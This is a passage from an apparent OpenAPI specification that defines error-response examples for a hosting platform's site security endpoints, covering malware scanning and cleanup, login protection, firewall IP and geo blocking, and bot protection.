"SiteSecurityScannerCleanupCreateConflictResponse": { "description": "Another malware cleanup is already in progress for the site. The detail can include the running task ID when available.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteSecurityScannerCleanupConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Another malware cleanup is already in progress.", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } } } }, "SiteSecurityScannerCleanupBusinessResponse": { "description": "Cleanup cannot be started because the site does not meet a cleanup requirement.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "cleanup_not_applicable": { "summary": "Site is not hacked", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cleanup_not_applicable", "message": "Site is not hacked; cleanup is not applicable." } ] } } }, "feature_not_enabled": { "summary": "Security is disabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "feature_not_enabled", "message": "Security feature is disabled." } ] } } }, "site_under_maintenance": { "summary": "Site is under maintenance", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "site_under_maintenance", "message": "Site is under maintenance; malware cleanup cannot be initiated." } ] } } }, "resource_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "message": "Snapshot is not ready for cleanup." } ] } } }, "manual_cleanup_required": { "summary": "Complex malware requires manual cleanup", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "manual_cleanup_required", "message": "Your website contains complex malware; manual cleanup is required." } ] } } }, "cleanup_credit_required": { "summary": "Cleanup credit required", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cleanup_credit_required", "message": "Cleanup credit required." } ] } } } } } } }, "SiteSecurityScannerDetectionsForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionsNotFoundResponse": { "description": "The site or scanner snapshot was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } } } } } }, "SiteSecurityScannerDetectionFilesInvalidFilterResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[detected_at:gte]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "marked_safe", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityScannerDetectionFilesForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionFilesNotFoundResponse": { "description": "The site or scanner snapshot was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } } } } } }, "SiteSecurityScannerDetectionFileInvalidIdResponse": { "description": "The file detection ID is missing or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_file_id": { "summary": "Invalid file detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "id", "message": "Invalid file id format" } ] } } } } } } }, "SiteSecurityScannerDetectionFileNotFoundResponse": { "description": "The site, scanner snapshot, or detected file was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } }, "file_not_found": { "summary": "Detected file not found", "value": { "error": { "status": 404, "code": "not_found", "message": "File not found" } } } } } } }, "SiteSecurityScannerDetectionFileContentUnavailableResponse": { "description": "File content is unavailable.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "content_unavailable": { "summary": "File content unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "message": "File content is unavailable." } ] } } } } } } }, "SiteSecurityScannerDetectionFilesInvalidIdsResponse": { "description": "The request body does not contain valid file detection IDs.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_ids": { "summary": "Missing file detection IDs", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Can't be blank" } ] } } }, "ids_invalid_type": { "summary": "File detection IDs value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ids", "message": "Must be an array." } ] } } }, "blank_id": { "summary": "Blank file detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "File id at index 0 can't be blank" } ] } } }, "invalid_ids": { "summary": "Invalid file detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "ids", "message": "Invalid file id format at index 0" } ] } } } } } } }, "SiteSecurityScannerDetectionScriptsInvalidFiltersResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[source:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "marked_safe", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityScannerDetectionScriptsForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionScriptsNotFoundResponse": { "description": "The site or scanner snapshot was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } } } } } }, "SiteSecurityScannerDetectionScriptNotFoundResponse": { "description": "The site, scanner snapshot, or script was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } }, "script_not_found": { "summary": "Script detection not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Script detection not found" } } } } } } }, "SiteSecurityScannerDetectionScriptsInvalidIdsResponse": { "description": "Submitted script detection IDs were missing, blank, or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_ids": { "summary": "Missing script detection IDs", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Can't be blank" } ] } } }, "ids_invalid_type": { "summary": "Script detection IDs value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ids", "message": "Must be an array." } ] } } }, "blank_id": { "summary": "Blank script detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Id at index 0 can't be blank" } ] } } }, "invalid_id": { "summary": "Invalid script detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "ids", "message": "Invalid id format at index 0" } ] } } } } } } }, "SiteSecurityScannerDetectionPluginsInvalidFilterResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_detected_at": { "summary": "Detection time filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "detected_at", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[filename:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "active", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityScannerDetectionPluginsForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionPluginsNotFoundResponse": { "description": "The site was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "example": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } }, "SiteSecurityScannerDetectionCronJobsInvalidFilterResponse": { "description": "The filters query parameter is invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[id:eq]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "marked_safe", "message": "Must be a boolean." } ] } } } } } } }, "SiteSecurityScannerDetectionCronJobsForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionCronJobsNotFoundResponse": { "description": "The site or scanner snapshot was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Scanner snapshot not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } } } } } }, "SiteSecurityScannerDetectionCronJobsInvalidIdsResponse": { "description": "Submitted cron job detection IDs were missing, blank, or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_ids": { "summary": "Missing cron job detection IDs", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Can't be blank" } ] } } }, "ids_invalid_type": { "summary": "Cron job detection IDs value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ids", "message": "Must be an array." } ] } } }, "blank_id": { "summary": "Blank cron job detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Id at index 0 can't be blank" } ] } } }, "invalid_id": { "summary": "Invalid cron job detection ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "ids", "message": "Invalid id format at index 0" } ] } } } } } } }, "SiteSecurityScannerDetectionRedirectionsInvalidFilterResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_detected_at": { "summary": "Detection time filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "detected_at", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:eq]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "marked_safe", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityScannerDetectionRedirectionsForbiddenResponse": { "description": "Scanner detections are not available for this account.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Account is inactive", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "scan_access_unavailable": { "summary": "Scanner access unavailable", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden" } } } } } } }, "SiteSecurityScannerDetectionRedirectionsNotFoundResponse": { "description": "The site was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "example": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } }, "SiteSecurityScannerDetectionRedirectionsBusinessResponse": { "description": "The redirection destination URLs could not be marked safe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Failed to mark redirections as safe." } ] } } } } }, "SiteSecurityScannerDetectionRedirectionsInvalidUrlsResponse": { "description": "Submitted URLs were missing, blank, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_urls": { "summary": "Missing redirection URLs", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "urls", "message": "Can't be blank" } ] } } }, "urls_invalid_type": { "summary": "Redirection URLs value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "urls", "message": "Must be an array." } ] } } }, "blank_url": { "summary": "Blank redirection URL", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "urls", "message": "Url at index 0 can't be blank" } ] } } } } } } }, "SiteSecurityLoginProtectionInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteSecurityLoginProtectionPlanRequiredResponse": { "description": "The site plan does not support Login Protection.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Login Protection is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Login Protection." } ] } } } } } } }, "SiteSecurityLoginProtectionInvalidTimestampResponse": { "description": "The filters query parameter is invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } } } } } }, "SiteSecurityFirewallSyncInProgressResponse": { "description": "A site sync is already in progress.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "examples": { "sync_in_progress": { "summary": "Site sync already running", "value": { "error": { "status": 409, "code": "conflict", "message": "Sync in progress.", "details": [ { "code": "sync_in_progress", "message": "A sync is in progress for this site." } ] } } } } } } }, "SiteSecurityFirewallPlanRequiredResponse": { "description": "The site plan does not support enabling Firewall.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Firewall is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Firewall." } ] } } } } } } }, "SiteSecurityFirewallIpAccessPlanRequiredResponse": { "description": "The site plan does not support Firewall.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Firewall is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Firewall." } ] } } } } } } }, "SiteSecurityFirewallIpAccessBadRequestResponse": { "description": "The `ips` request body field is missing, empty, or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "ips_blank": { "summary": "IP list is missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ips", "message": "Can't be blank" } ] } } }, "ips_invalid_type": { "summary": "IP list must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ips", "message": "Must be an array." } ] } } }, "invalid_ip_format": { "summary": "One or more IP addresses are invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ips", "message": "Invalid IP format." } ] } } } } } } }, "SiteSecurityFirewallGeoBlockingPlanUpgradeRequiredResponse": { "description": "The selected site plan does not support Geo Blocking.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Geo Blocking is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Geo Blocking." } ] } } } } } } }, "SiteSecurityFirewallGeoBlockingCountryCodesBadRequestResponse": { "description": "The `country_codes` request body field is missing or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "country_codes_blank": { "summary": "Country codes are missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "country_codes", "message": "Can't be blank" } ] } } }, "country_codes_invalid_type": { "summary": "Country codes value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "country_codes", "message": "Must be an array" } ] } } }, "country_codes_invalid": { "summary": "Country code is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_country_code", "param": "country_codes", "message": "Invalid country code: xx" } ] } } } } } } }, "SiteSecurityFirewallBotProtectionSyncInProgressResponse": { "description": "A site sync is already in progress.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "examples": { "sync_in_progress": { "summary": "Site sync already running", "value": { "error": { "status": 409, "code": "conflict", "message": "Sync in progress.", "details": [ { "code": "sync_in_progress", "message": "A sync is in progress for this site." } ] } } } } } } }, "SiteSecurityFirewallBotProtectionPlanRequiredResponse": { "description": "The site plan does not support enabling Bot Protection.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Bot Protection is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Bot Protection." } ] } } } } } } }, "SiteSecurityFirewallBotProtectionInvalidTimestampResponse": { "description": "The filters parameter was not an object, one or more timestamp filters were not valid timestamps, or a filter key or operator is unsupported.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:eq]", "message": "Filter is not supported." } ] } } } } } } }, "SiteSecurityFirewallBotProtectionStatsPlanRequiredResponse": { "description": "The site plan does not support Bot Protection stats.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Bot Protection stats are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Bot Protection." } ] } } } } } } }, "SiteSecurityFirewallLogsInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", 